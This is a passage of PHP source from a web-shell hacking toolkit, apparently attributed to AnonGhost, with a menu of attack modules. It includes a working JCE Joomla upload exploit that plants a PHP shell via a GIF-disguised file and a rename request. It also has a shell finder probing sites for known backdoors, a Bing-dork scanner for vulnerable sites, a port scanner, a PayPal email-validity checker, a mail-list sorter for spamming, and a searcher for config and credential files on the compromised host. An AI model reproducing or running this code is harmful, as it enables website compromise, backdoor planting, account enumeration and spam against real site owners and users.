<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
<a href="?action=portscnnre">Port Scanner</a> -
<a href="?action=admnpgfndr">Admin Page Finder</a> -
<a href="?action=srchffilsses">Search Files</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Port Scanner</span><center><br>\';
echo \'<title>Port Scanner\';
echo \'</title>\';

$addr = $_SERVER["REMOTE_ADDR"];
$port = "80";
if ($_GET["addr"]) {
$addr = $_GET["addr"];
}
if ($_GET["port"]) {
$port = $_GET["port"];
}
if ($_GET["port2"]) {
$port2 = $_GET["port2"];
}

echo \'<form action="\' .$_SERVER["PHP_SELF"]. \'" method="get">
<center>
<div style="width:300px;background:transparent;padding:10px;font-family:arial;">
<table width="100%" border="0" cellspacing="0" cellpadding="2">
<tr>
<td colspan="2" style="font-size:12px; color:#007700;">Please enter a website or IP and port of the website or IP address you wish to scan.</td>
</tr>
<tr>
<td width="30%" style="font-size:12px; color:#007700;"><br>Address/IP</td>
<td width="80%"><br><input type="text" name="addr" value="\' .$addr. \'"></td>
</tr>
<tr>
<td width="30%" style="font-size:12px; color:#007700;"><br>Port</td>
<td width="80%"><br><input type="text" name="port" value="\' .$port. \'"></td>
</tr>
<tr>
<td width="30%" style="font-size:12px; color:#009900;"><br>Result</td>
<td width="80%"><br><input type="text" name="port2" value="\' .$port2. \'"></td>
</tr>
<td width="30%"> </td>
<td width="80%"><br><input type="submit" value="Scan Port(s)"></td>
</tr>
</table>
</div>
</form>
</center>
\';

if ($_GET["addr"]) {
if ($_GET["port"] && !$_GET["port2"]) {
$fp = @fsockopen($addr, $port, $errno, $errstr, 2);
$success = "#FF0000";
$success_msg = "is closed.";
if ($fp) {
$success = "#99FF66";
$success_msg = "is open.";
}
@fclose($fp);
echo \'<div style="width:300px;background:\' .$success. \';padding:10px;font-family:arial;font-size:12px;">
The address <b>"\' .$addr. \':\' .$port. \'"</b> \' .$success_msg. \'
</div>\';
}
else if ($_GET["port"] && $_GET["port2"]) {
$p1 = $_GET["port"];
$p2 = $_GET["port2"];
if ($p1 == $p2) {
$fp = @fsockopen($addr, $port, $errno, $errstr, 2);
$success = "#FF0000";
$success_msg = "is closed.";
if ($fp) {
$success = "#99FF66";
$success_msg = "is open.";
}
@fclose($fp);
echo \'<div style="width:300px;background:\' .$success. \';padding:10px;font-family:arial;font-size:12px;">
The address <b>"\' .$addr. \':\' .$port. \'"</b> \' .$success_msg. \'
</div>\';
}
else {
if ($p1 < $p2) {
$s = $p1;
$st = $p1;
$e = $p2;
}
else if ($p2 < $p1) {
$s = $p2;
$st = $p2;
$e = $p1;
}
while ($s <= $e) {
$fp = @fsockopen($addr, $s, $errno, $errstr, 1);
if ($fp) {
$p_open = $p_open. " " .$s;
$p_1 = 1;
}
@fclose($fp);
$s++;
}
if ($p_1) {
$c = "#99FF66";
$m = "On the address <b>" .$addr. "</b> and port range <b>" .$st. "-" .$e. "</b> the following ports were open: " .$p_open;
}
else {
$c = "#FF0000";
$m = "No ports on the address <b>" .$addr. "</b> and port range <b>" .$st. "-" .$e. "</b> were open";
}
echo \'<div style="width:300px;background:\' .$c. \';padding:10px;font-family:arial;font-size:12px;">\' .$m. \'</div>\';
}
}
}
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'shellfnderr\'){
echo \'<center><b class="conte">
<a href="?action=shellfnderr">Shell Finder</a> -
<a href="?action=jcescnr">Jce Scanner</a> -
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
<a href="?action=portscnnre">Port Scanner</a> -
<a href="?action=admnpgfndr">Admin Page Finder</a> -
<a href="?action=srchffilsses">Search Files</a> </center>
</b>\';
echo\'<center>
<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Search Shells uploaded</span><br>
<img src="http://www11.0zz0.com/2014/08/22/21/592562836.png">
<p align="center"></p><br>
<form method="POST">
</form><center>
<form action="" method="post">
<input name="traget" type="text" size="100" value="http://www.site.com/"/><br>
<br><br>
<input name="scan" size="100" value="Start Scaning" type="submit">
</form><br>\';

set_time_limit(0);

if (isset($_POST["scan"])) {  

$url = $_POST[\'traget\'];

echo "<br /><span class=\'start\'>Scanning ".$url."<br /><br /></span>";
echo "ReSulT:<br /><br />";

$shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
"x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
"Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
"vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
"d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
"wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
"wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
"tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
"tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
"whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
"templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
"admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
"/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
"/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
"/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
"/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
"/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
"wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
"tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
"tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl", 
"forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
"spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
"Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/", 
"tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
"/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip");

//Start Scan
foreach ($shells as $shell){
$headers = get_headers("$url$shell"); // 

if (eregi(\'200\', $headers[0])) {
//Result
echo "<a href=\'$url$shell\'>$url$shell</a> <span class=\'found\'>Done :D</span><br /><br/><br/>"; // 
$dz = fopen(\'shells.txt\', \'a+\');
$suck = "$url$shell";
fwrite($dz, $suck."
");
}
}
//Result In Text File (shells.txt)
echo "You Will Find Shell\'z here [ <a href=\'./shells.txt\' target=\'_blank\'>shells.txt</a> ]</span>";
}
}
echo"</center>";
echo"</body>";
echo"</html>";

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'jcemultiscnner\'){
echo \'<center><b class="conte">
<a href="?action=shellfnderr">Shell Finder</a> -
<a href="?action=jcescnr">Jce Scanner</a> -
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
<a href="?action=portscnnre">Port Scanner</a> -
<a href="?action=admnpgfndr">Admin Page Finder</a> -
<a href="?action=srchffilsses">Search Files</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">JCE Multi-Uploader</span><center><br>\';
echo \'<form method="post" action="" enctype="multipart/form-data">
<p align="center"> 
<img src="http://www9.0zz0.com/2014/08/22/21/459163695.png"></p>
<center><table>
<tr>
<td></td><td></td><td><font face="Tahoma" color="#007700" size="2pt">List Websites</font><br><textarea class="area" style="width:500px;height:150px;resize:none" name="siteler"></textarea><br><br></td>
</tr>
<tr>
<td></td><td>File :</td><td><input type="file" name="dosya" style="border: 1px solid #007700 ; border-radius: 4px; box-shadow: 0px 0px 4px #007700;"> <input type="submit" value="Attack Now" /></td>
</tr></table>
</form>
</center>\';

set_time_limit(0);
ini_set("max_execution_time", 0);
ob_implicit_flush(1);
ini_set("default_socket_timeout", 1);
if ($_POST) {
$jce = new jce;
$siteler = $_POST[\'siteler\'];
$siteler = explode("
", $siteler);
foreach ($siteler as $host) {
$host = trim($host);
$host = str_replace("http://", "", $host);
echo "=> Name Website: <strong>$host</strong><br />";
flush();
@ob_flush();
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, "http://$host/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20");
curl_setopt($curl, CURLOPT_USERAGENT, "BOT/0.1 (BOT for JCE)");
curl_setopt($curl, CURLOPT_TIMEOUT, 13);
$exec = curl_exec($curl);
curl_close($curl);
$str = array(\'2.0.11</title\', \'2.0.12</title\', \'2.0.13</title\', \'2.0.14</title\', \'2.0.15</title\', \'1.5.7.10</title\', \'1.5.7.11</title\', \'1.5.7.12</title\', \'1.5.7.13</title\', \'1.5.7.14</title\');
$count = 0;
foreach ($str as $value) {
$pos = strpos($exec, $value);
if ($pos === false) {
$count = $count++;
}
}
if ($count = 10) {
echo \'=> <font color="red">Wait.....</font><br/>\';
flush();
@ob_flush();
} else {
echo \'=> Loading.....<br/>\';
flush();
@ob_flush();
}
$filename = "ghost" . rand(1, 200) . ".gif";
$content = "GIF89a1
";
$content.= file_get_contents($_FILES[\'dosya\'][\'tmp_name\']);
$data = "-----------------------------41184676334
";
$data.= "Content-Disposition: form-data; name=\"upload-dir\"

";
$data.= "/
";
$data.= "-----------------------------41184676334
";
$data.= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"
";
$data.= "Content-Type: application/octet-stream


";
$data.= "-----------------------------41184676334
";
$data.= "Content-Disposition: form-data; name=\"upload-overwrite\"

";
$data.= "0
";
$data.= "-----------------------------41184676334
";
$data.= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"" . $filename . "\"
";
$data.= "Content-Type: image/gif

";
$data.= "$content
";
$data.= "-----------------------------41184676334
";
$data.= "xxxy
";
$data.= "-----------------------------41184676334
";
$data.= "Content-Disposition: form-data; name=\"action\"

";
$data.= "upload
";
$data.= "-----------------------------41184676334--



";
$packet = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.1
";
$packet.= "Host: " . $host . "
";
$packet.= "User-Agent: BOT/0.1 (BOT for JCE)
";
$packet.= "Content-Type: multipart/form-data; boundary=---------------------------41184676334
";
$packet.= "Accept-Language: en-us,en;q=0.5
";
$packet.= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
";
$packet.= "Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
";
$packet.= "Connection: Close
";
$packet.= "Proxy-Connection: close
";
$packet.= "Content-Length: " . strlen($data) . "



";
$packet.= $data;
$jce->sendpacket($host, $packet, 0, 0);
$filephp = str_replace("gif", "php", $filename);
$packet = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1
";
$packet.= "Host: " . $host . "
";
$packet.= "User-Agent: BOT/0.1 (BOT for JCE) 
";
$packet.= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
";
$packet.= "Accept-Language: en-US,en;q=0.8
";
$packet.= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
";
$packet.= "Content-Type: application/x-www-form-urlencoded; charset=utf-8
";
$packet.= "Accept-Encoding: deflate
";
$packet.= "X-Request: JSON
";
$packet.= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182
";
$ren = "json={\"fn\":\"folderRename\",\"args\":[\"/" . $filename . "\",\"" . $filephp . "\"]}";
$packet.= "Content-Length: " . strlen($ren) . "

";
$packet.= $ren . "

";
$jce->sendpacket($host, $packet, 1, 0);
$kontrol = $jce->uploadkontrolZenci("http://" . $host . "/images/stories/" . $filephp);
if ($kontrol) {
    echo "=> File Uploaded Successfully -> <a href=\'http://$host/images/stories/$filephp\'>http://$host/images/stories/$filephp</a><br />";
    $jce->logyollaZenci("http://" . $host . "/images/stories/" . $filephp);
} else {
    echo "=> Sorry failed to upload the file :(<br />";
}
    }
}
class jce {
    public function sendpacket($host, $packet, $response = 0, $output = 0) {
$ock = fsockopen($host, 80);
stream_set_timeout($ock, 1);
if (!$ock) {
    echo \'=> jce sucks i know hhhhhh xD<br/>\';
}
fputs($ock, $packet);
if ($response == 1) {
    $html = \'\';
    while (!feof($ock)) {
$html.= fgets($ock);
    }
} else $html = \'\';
fclose($ock);
if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));
    }
    public function uploadkontrolZenci($site) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $site);
curl_setopt($curl, CURLOPT_USERAGENT, "BOT/0.1 (BOT for JCE)");
curl_setopt($curl, CURLOPT_TIMEOUT, 15);
$exec = curl_exec($curl);
curl_close($curl);
if (preg_match(\'/GIF89a1/si\', $exec)) {
    return true;
} else {
    return false;
}
}
}
};

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'jcescnr\'){
echo \'<center><b class="conte">
<a href="?action=shellfnderr">Shell Finder</a> -
<a href="?action=jcescnr">Jce Scanner</a> -
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
<a href="?action=portscnnre">Port Scanner</a> -
<a href="?action=admnpgfndr">Admin Page Finder</a> -
<a href="?action=srchffilsses">Search Files</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">JCE Server Scanner</span><center><br>\';

function _curl($url,$ref){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\');
$resultt=curl_exec($ch);
curl_close($ch);
return  $resultt;
}

echo\'
<img src="http://3.bp.blogspot.com/--66MC_oL1Ys/UjvlCefXI-I/AAAAAAAAA4U/1bO6MClKKAg/s1600/jce-logo1.png"  width="200" height="150">
<form method="post" name="op" action ="">
<input type="text" size="50" name="ip" placeholder="Ip:" /><br><br>
<input name="sub" type="submit" value="&nbsp;&nbsp;Scan&nbsp;&nbsp;" />
</form>\';

if(isset($_POST[\'sub\'])){
$ip=$_POST[\'ip\'];
$j=0;
$con2=0;
echo "<p>Ip :".$ip."</p>";
echo \'<table align="center" border="1" width="50%" cellspacing="1" cellpadding="5">\';
echo \'<tr><td> <font color="white"> Web Site </td><td> <font color="white">Jce Rezult </font></td></tr>\';

while ($j<50000000){
$url=\'http://www.bing.com/search?q=ip:\'.$ip.\'%20index.php?option%20&first=\'.$j;
$result = _curl($url,\'http://www.bing.com/\');
preg_match_all(\'(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU\', $result , $findlink);
$cont=count($findlink[1]);
for($i=0;$i<$cont;$i++){
$shit=explode ("/",$findlink[1][$i]);
if (preg_match("/index.php/i", $findlink[1][$i])) {
preg_match_all(\'(http://(.*)index.php)siU\',$findlink[1][$i],$shit);
$website="http://".$shit[1][0];
$dork="/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743";
$result2=_curl($website.$dork,$website);
if(strpos($result2,\'{"result":null,"error":"No function call specified!"}\')) {
echo \'<tr><td><font color="green" ><a href="\'.$website.\'">\'.$website."</a></td>";
echo "<td> <font color=\'green\' >Jce On </font></td></tr>";
}else{
echo \'<tr><td><font color="red" ><a href="\'.$website.\'">\'.$website."</a></td>" ;
echo "<td> <font color=\'red\' >Error</font></td></tr>";
}
}
}

$j=$j+10;
$con2=$con2+$cont;
if($cont<10){break;}
if($cont==0){break;}
}
echo "</table>";
echo "<font color=\'green\' > Web Site :".$con2;
}
}
echo"</body></html>";

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'payppallchker\'){
echo \'<center><b class="conte">
<a href="?action=maiilllerrr">Mailer</a> -
<a href="?action=Everythingdawg">Everything You Need</a> -
<a href="?action=payppallchker">Paypal Checker</a> -
<a href="?action=emailllextrctr">Email Extractor</a></center></b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">PayPal Valid Email 
Checker</span><center><br>\';
@set_time_limit(0);

function curl($url=\'\',$var=\'\',$Follow=False){
global $set;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,20);
curl_setopt($curl, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31\');
curl_setopt($curl, CURLOPT_COOKIE,\'PP1.txt\');
curl_setopt($curl, CURLOPT_COOKIEFILE,\'PP1.txt\');
curl_setopt($curl, CURLOPT_COOKIEJAR,\'PP1.txt\');
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
if ($Follow !== False) {
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
}
$result = curl_exec($curl);
curl_close($curl);
return $result;
}
echo "<head>
<style type=\"text/css\"><!--
body {

font-family: \'Open Sans\', sans-serif; font-size:13px}
hr {border:inset 1px #E5E5E5}
#form-container 
{
border: solid 1px #007700;
border-radius:10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
box-shadow: 0px 0px 4px #009900;
-moz-box-shadow: 0px 0px 4px #009900;
-webkit-box-shadow: 0px 0px 4px #009900;
margin:30px auto;
padding:10px;
width:910px;
text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
}

#form-container1 
{
border: solid 1px #007700;
border-radius:10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
box-shadow: 0px 0px 15px #007700;
-moz-box-shadow: 0px 0px 15px #007700;
-webkit-box-shadow: 0px 0px 15px #007700;
margin:30px auto;
padding:10px;
width:280px;
text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
}

input[type=text], textarea
{
background:transparent;
border:solid 1px #007700; 
border-radius:5px;
-moz-border-radius: 5px; 
-webkit-border-radius: 5px;
}
textarea { width:100%;height:200px; resize:none }
input[type=text] { width:160px;text-align:center }
input[type=text]:focus, textarea:focus { background:transparent; border:solid 1px #007700; color:#007700;}
.submit-button 
{ 
background: #57A02C;
border:solid 1px #57A02C;
border-radius:5px;
-moz-border-radius: 5px; 
-webkit-border-radius: 5px;
-moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
border-bottom: 1px solid rgba(0,0,0,0.25);
position: relative;
color:#333333;
display: inline-block; 
cursor:pointer;
font-size:13px;
padding:3px 8px;
}
.submit-button:hover { background:#82D051;border:solid 1px #86CC50; }
.table
{
border: solid 1px #007700;
border-radius:10px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
padding-left:10px;
}

.unverified
{
color:#800000;
font-weight: bold;
}
.business{
color:yellow;
font-weight: bold;
}
.premier{
color:#00FF00;
font-weight: bold;
}
.verified{
color:#800080;
font-weight: bold;
}
.nolog{
font-size: 10px;
font: red;
}


--></style>
<title>Valid Email Checker</title>
</head><div align=\"center\"></center>";

$emails = $_POST[\'emails\'];
print \'<div id="form-container"> <form method="POST">

<p align="center"><font face="Times New Roman" size="6">PayPal Valid Email 
Checker<br></font></p>

<p><textarea rows="10" name="emails" cols="48">\'.$emails.\'</textarea></p><br>
<p><input class="submit-button" type="submit" value="Submit" name="B1"></p>
</form> </div>\';
if (!empty($emails)) {
$emails = explode("
", $emails);
$yes = 0;
$not = 0;
$inv = 0;
$count = 1;
print "<p align=\"center\"><b>Checking <font color=\"#ff8f00\"> ".count($emails)."</font> emails ....</b><br></p><p align=\"center\">";
foreach ( $emails as $email ) {
$email = trim($email);
print $count .".<b> Checking <font color=\"#ff8f00\">".$email."</font>  ..... </b>";
$count++;
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
$_CheckAction = curl(\'https://www.paypal.com/cgi-bin/webscr?cmd=_send-money&myAllTextSubmitID=&cmd=_send-money&type=external&payment_source=p2p_mktgpage&payment_type=Gift&sender_email=\'.$email.\'&email=gz%40s.com&currency=USD&amount=10&amount_ccode=USD&submit.x=Continue\',CURLOPT_FAILONERROR,TRUE);
if(!strpos($_CheckAction, "region")) {
print "<b><font size=\"3\" color=\"#006600\">Yes</font></b> <br>";
$yes++;
$vaild_yes .=$email."
";
}
else {
print "<b><font color=\"#FF0000\">NO</font></b><br>";
$not++;
$vaild_no .=$email."
";
}
}
else {
print "<b><font color=\"#FF0000\">Invalid email</font></b><br><br>";
$inv++;
$invaild .=$email."
";
}
}

print \'<p><table border="0" width="100%">

<tr>
<td><p align="center"><font face="Times New Roman" size="4">PayPal emails</font> <b>(<font color="#006600"><b>\'.$yes.\'</b></font>)</b> </p></td>
<td><p align="center"><font face="Times New Roman" size="4">Not PayPal emails</font> <b>(<font color="#FF0000">\'.$not.\'</font>)</b> </p> </td>
<td><p align="center"><font face="Times New Roman" size="4">Invalid emails</font> <b>(<font color="#FF0000">\'.$inv.\'</font>)</b> </p> </td>
</tr>
<tr>
<td><div id="form-container1"><textarea rows="10" name="S1" cols="43">\'.$vaild_yes.\'</textarea></div></td>
<td><div id="form-container1"><textarea rows="10" name="S2" cols="43">\'.$vaild_no.\'</textarea></div></td>
<td><div id="form-container1"><textarea rows="10" name="S3" cols="43">\'.$invaild.\'</textarea></div></td>
</tr>
</table></p>\';
}
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'emailllextrctr\'){
echo \'<center><b class="conte">
<a href="?action=maiilllerrr">Mailer</a> -
<a href="?action=Everythingdawg">Everything You Need</a> -
<a href="?action=payppallchker">Paypal Checker</a> -
<a href="?action=emailllextrctr">Email Extractor</a></center></b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Email Extractor</span><center><br>\';
echo\'<center><font face=Tahoma size=2 color=#007700 >Put Your Maillist In The Following TEXTAREA and Start</font></center>
<center>
<form method="post">
<textarea class="area" type="text" wrap="VIRTUAL" name="mails" style="background:transparent; margin: 2px; width:708px; height: 220px;"></textarea><br><br>
<center><strong><input type="submit" id="gobutton" name="Extazy007" value="&nbsp;&nbsp;Start&nbsp;&nbsp;"></strong></center></form>\';

$types = array("gmail","hotmail","yahoo","aol","mail","rocketmail","orange","live","outlook","sfr","laposte","msn","skynet");
if($_POST["Extazy007"] && !empty($_POST["mails"])){
foreach(explode("
", $_POST["mails"]) as $mail){
foreach($types as $type){
if(eregi("@".$type, $mail)){
$file = fopen($type.".txt", "a");
fwrite($file, $mail."
");
}
}
}
echo \'<font size="4">\';
if(file_exists("hotmail.txt")){ rd("hotmail.txt"); echo \'</br><a style="background:#efefef;" href="hotmail.txt">Hotmail</a> : \'.count(file("hotmail.txt")).\'</br>\'; }
if(file_exists("gmail.txt")){ rd("gmail.txt"); echo \'</br><a style="background:#efefef;" href="gmail.txt">Gmail</a> : \'.count(file("gmail.txt")).\'</br>\'; }
if(file_exists("yahoo.txt")){ rd("yahoo.txt"); echo \'</br><a style="background:#efefef;" href="yahoo.txt">Yahoo</a> : \'.count(file("yahoo.txt")).\'</br>\'; }
if(file_exists("aol.txt")){ rd("aol.txt"); echo \'</br><a style="background:#efefef;" href="aol.txt">Aol</a> : \'.count(file("aol.txt")).\'</br>\'; }
if(file_exists("mail.txt")){ rd("mail.txt"); echo \'</br><a style="background:#efefef;" href="mail.txt">Mail</a> : \'.count(file("mail.txt")).\'</br>\'; }
if(file_exists("rocketmail.txt")){ rd("rocketmail.txt"); echo \'</br><a style="background:#efefef;" href="rocketmail.txt">Rocketmail</a> : \'.count(file("rocketmail.txt")).\'</br>\'; }
if(file_exists("orange.txt")){ rd("orange.txt"); echo \'</br><a style="background:#efefef;" href="orange.txt">Orange</a> : \'.count(file("orange.txt")).\'</br>\'; }
if(file_exists("live.txt")){ rd("live.txt"); echo \'</br><a style="background:#efefef;" href="live.txt">Live</a> : \'.count(file("live.txt")).\'</br>\'; }
if(file_exists("outlook.txt")){ rd("outlook.txt"); echo \'</br><a style="background:#efefef;" href="outlook.txt">Outlook</a> : \'.count(file("outlook.txt")).\'</br>\'; }
if(file_exists("sfr.txt")){ rd("sfr.txt"); echo \'</br><a style="background:#efefef;" href="sfr.txt">Sfr</a> : \'.count(file("sfr.txt")).\'</br>\'; }
if(file_exists("laposte.txt")){ rd("laposte.txt"); echo \'</br><a style="background:#efefef;" href="laposte.txt">Laposte</a> : \'.count(file("laposte.txt")).\'</br>\'; }
if(file_exists("msn.txt")){ rd("msn.txt"); echo \'</br><a style="background:#efefef;" href="msn.txt">Msn</a> : \'.count(file("msn.txt")).\'</br>\'; }
if(file_exists("skynet.txt")){ rd("skynet.txt"); echo \'</br><a style="background:#efefef;" href="skynet.txt">Skynet</a> : \'.count(file("skynet.txt")).\'</br>\'; }
echo \'</font>\';
echo \'<br><font color="Green"><p>Done With Success ! </p></font><br>\';
}
function rd($file)
{
$text = array_unique(file($file));
if($text)
$f = @fopen($file,\'w\');
if($f){
fputs($f, join(\'\',$text));
}
}
echo\'
<br>
<strong><font face="Tahoma" color="blue" size="4">
Mail-List</font><font size="4" face=Tahoma color=red> Filter</font><font size="3" face=Tahoma color=#666666> v1.5 </font>
</br><font face=Tahoma size=3 color=#009900>Developed By Extazy007</font></strong>
<br><br>
<font face=Tahoma size=2 color=#007700>Contact: www.facebook.com/AnonGhostOfficial2</font>
</center>

\';
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'srchffilsses\'){
echo \'<center><b class="conte">
<a href="?action=shellfnderr">Shell Finder</a> -
<a href="?action=jcescnr">Jce Scanner</a> -
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
<a href="?action=portscnnre">Port Scanner</a> -
<a href="?action=admnpgfndr">Admin Page Finder</a> -
<a href="?action=srchffilsses">Search Files</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Files Search Engine</span><center><br>\';
echo\'<body bgcolor="blue" text="white">
<p align="center"> 
<img border="0" src="http://www.scriptspot.com/files/u5502/rodar_scan.gif"></p>
</head>\';

echo\'<form action="" method="post"><center><br/>
<label for="dirdir">Directory</label><br/>
<input type="text" id="dirdir"  name="dirdir" value="/" /><br/><br/>
<label for="filezzz">Files</label><br/>
<textarea class="area" rows="4" cols="50" name="filezzz">
config
auth
db
root
master

</textarea><br/><br/>
<input type="submit" value="search now !" />
</form></center>\';

set_time_limit(0);
error_reporting(0);

if(!empty($_POST[\'dirdir\']) && !empty($_POST[\'filezzz\'])){
$dirdir = $_POST[\'dirdir\'];
$filezzz = $_POST[\'filezzz\'];
echo("<center>FILES</center>");
$files = glob($dirdir.\'/*.php\', GLOB_BRACE);
foreach($files as $file) {
foreach(explode("
", $filezzz) as $f) {
$s = file_get_contents($file);
$f = preg_replace(\'/\s+/\', \'\', $f);
$lines   = file($file);
$line_number = false;
while (list($key, $line) = each($lines) and !$line_number) {
$line_number = (strpos($line, $f) !== FALSE) ? $key + 1 : $line_number;
}
if (strpos($s, $f) !== false) {
echo \'<center>\';
echo("<br/><b>File:</b> ".$file);
echo \'<hr>\';
echo("<br/><b>Line:</b> ".$line_number);
echo("<br/><b>Function:</b> ".$f);
echo \'<hr>\';
echo \'</center>\';
}
}
}
}
}

echo\'</html>\';


echo\'</html>\';
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'brutfbckk\'){
echo \'<center><b class="conte">
